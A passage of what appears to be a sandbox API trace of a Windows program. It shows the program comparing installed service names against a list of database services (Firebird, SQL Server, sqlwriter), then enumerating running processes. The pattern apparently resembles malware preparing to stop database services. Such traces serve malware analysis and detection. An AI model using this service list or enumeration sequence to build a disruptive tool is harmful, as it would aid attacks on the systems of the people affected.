lstrlenW (lpString="MpsSvc") returned 6 [0108.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0108.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0108.011] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0108.011] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0108.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0108.011] lstrlenW (lpString="NcbService") returned 10 [0108.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0108.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0108.011] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0108.011] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0108.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0108.011] lstrlenW (lpString="netprofm") returned 8 [0108.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0108.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0108.011] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0108.011] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0108.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0108.011] lstrlenW (lpString="NlaSvc") returned 6 [0108.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0108.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0108.011] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0108.011] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0108.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0108.011] lstrlenW (lpString="nsi") returned 3 [0108.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0108.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0108.011] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0108.011] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0108.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0108.012] lstrlenW (lpString="PcaSvc") returned 6 [0108.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0108.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0108.012] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0108.012] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0108.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0108.012] lstrlenW (lpString="PlugPlay") returned 8 [0108.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0108.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0108.012] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0108.012] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0108.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0108.012] lstrlenW (lpString="Power") returned 5 [0108.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0108.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0108.012] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0108.012] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0108.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0108.012] lstrlenW (lpString="ProfSvc") returned 7 [0108.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0108.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0108.012] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0108.012] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0108.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0108.012] lstrlenW (lpString="RpcEptMapper") returned 12 [0108.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0108.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0108.013] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0108.013] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0108.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0108.013] lstrlenW (lpString="RpcSs") returned 5 [0108.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0108.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0108.013] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0108.013] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0108.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0108.013] lstrlenW (lpString="SamSs") returned 5 [0108.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0108.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0108.013] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0108.013] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0108.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0108.013] lstrlenW (lpString="Schedule") returned 8 [0108.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0108.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0108.013] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0108.013] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0108.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0108.013] lstrlenW (lpString="SecurityHealthService") returned 21 [0108.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0108.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0108.013] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0108.014] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0108.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0108.014] lstrlenW (lpString="SENS") returned 4 [0108.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0108.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0108.014] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0108.014] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0108.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0108.014] lstrlenW (lpString="ShellHWDetection") returned 16 [0108.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0108.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0108.014] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0108.014] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0108.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0108.014] lstrlenW (lpString="Spooler") returned 7 [0108.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0108.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0108.014] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0108.014] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0108.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0108.014] lstrlenW (lpString="sppsvc") returned 6 [0108.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0108.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0108.014] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0108.014] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0108.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0108.015] lstrlenW (lpString="SSDPSRV") returned 7 [0108.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0108.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0108.015] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0108.015] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0108.015] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61c998 | out: hHeap=0x5c0000) returned 1 [0108.015] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0108.094] Process32FirstW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0108.095] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0108.096] lstrlenW (lpString="System") returned 6 [0108.096] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0108.097] lstrlenW (lpString="smss.exe") returned 8 [0108.097] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.098] lstrlenW (lpString="csrss.exe") returned 9 [0108.098] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0108.099] lstrlenW (lpString="wininit.exe") returned 11 [0108.099] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.100] lstrlenW (lpString="csrss.exe") returned 9 [0108.100] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0108.101] lstrlenW (lpString="winlogon.exe") returned 12 [0108.101] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0108.102] lstrlenW (lpString="services.exe") returned 12 [0108.102] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0108.103] lstrlenW (lpString="lsass.exe") returned 9 [0108.103] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.104] lstrlenW (lpString="svchost.exe") returned 11 [0108.104] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0108.105] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0108.105] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0108.106] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0108.106] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.107] lstrlenW (lpString="svchost.exe") returned 11 [0108.107] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0108.108] lstrlenW (lpString="dwm.exe") returned 7 [0108.108] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.108] lstrlenW (lpString="svchost.exe") returned 11 [0108.109] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.109] lstrlenW (lpString="svchost.exe") returned 11 [0108.109] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.110] lstrlenW (lpString="svchost.exe") returned 11 [0108.110] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.113] lstrlenW (lpString="svchost.exe") returned 11 [0108.113] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.114] lstrlenW (lpString="svchost.exe") returned 11 [0108.114] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.115] lstrlenW (lpString="svchost.exe") returned 11 [0108.115] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.116] lstrlenW (lpString="svchost.exe") returned 11 [0108.116] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.117] lstrlenW (lpString="svchost.exe") returned 11 [0108.117] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.118] lstrlenW (lpString="svchost.exe") returned 11 [0108.118] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0108.118] lstrlenW (lpString="spoolsv.exe") returned 11 [0108.119] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.119] lstrlenW (lpString="svchost.exe") returned 11 [0108.119] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.120] lstrlenW (lpString="svchost.exe") returned 11 [0108.120] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0108.121] lstrlenW (lpString="audiodg.exe") returned 11 [0108.121] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0108.122] lstrlenW (lpString="sihost.exe") returned 10 [0108.122] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.123] lstrlenW (lpString="svchost.exe") returned 11 [0108.123] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0108.124] lstrlenW (lpString="taskhostw.exe") returned 13 [0108.124] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0108.131] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0108.131] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0108.132] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0108.132] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0108.133] lstrlenW (lpString="explorer.exe") returned 12 [0108.133] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0108.134] lstrlenW (lpString="Memory Compression") returned 18 [0108.134] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0108.135] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0108.135] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0108.136] lstrlenW (lpString="SearchUI.exe") returned 12 [0108.136] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0108.137] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0108.137] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0108.138] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0108.138] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0108.139] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0108.139] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0108.140] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0108.140] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.141] lstrlenW (lpString="conhost.exe") returned 11 [0108.141] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0108.142] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0108.142] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0108.143] lstrlenW (lpString="upper arc.exe") returned 13 [0108.143] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0108.144] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0108.144] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0108.145] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0108.145] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0108.146] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0108.146] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0108.147] lstrlenW (lpString="blademcdonald.exe") returned 17 [0108.147] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: 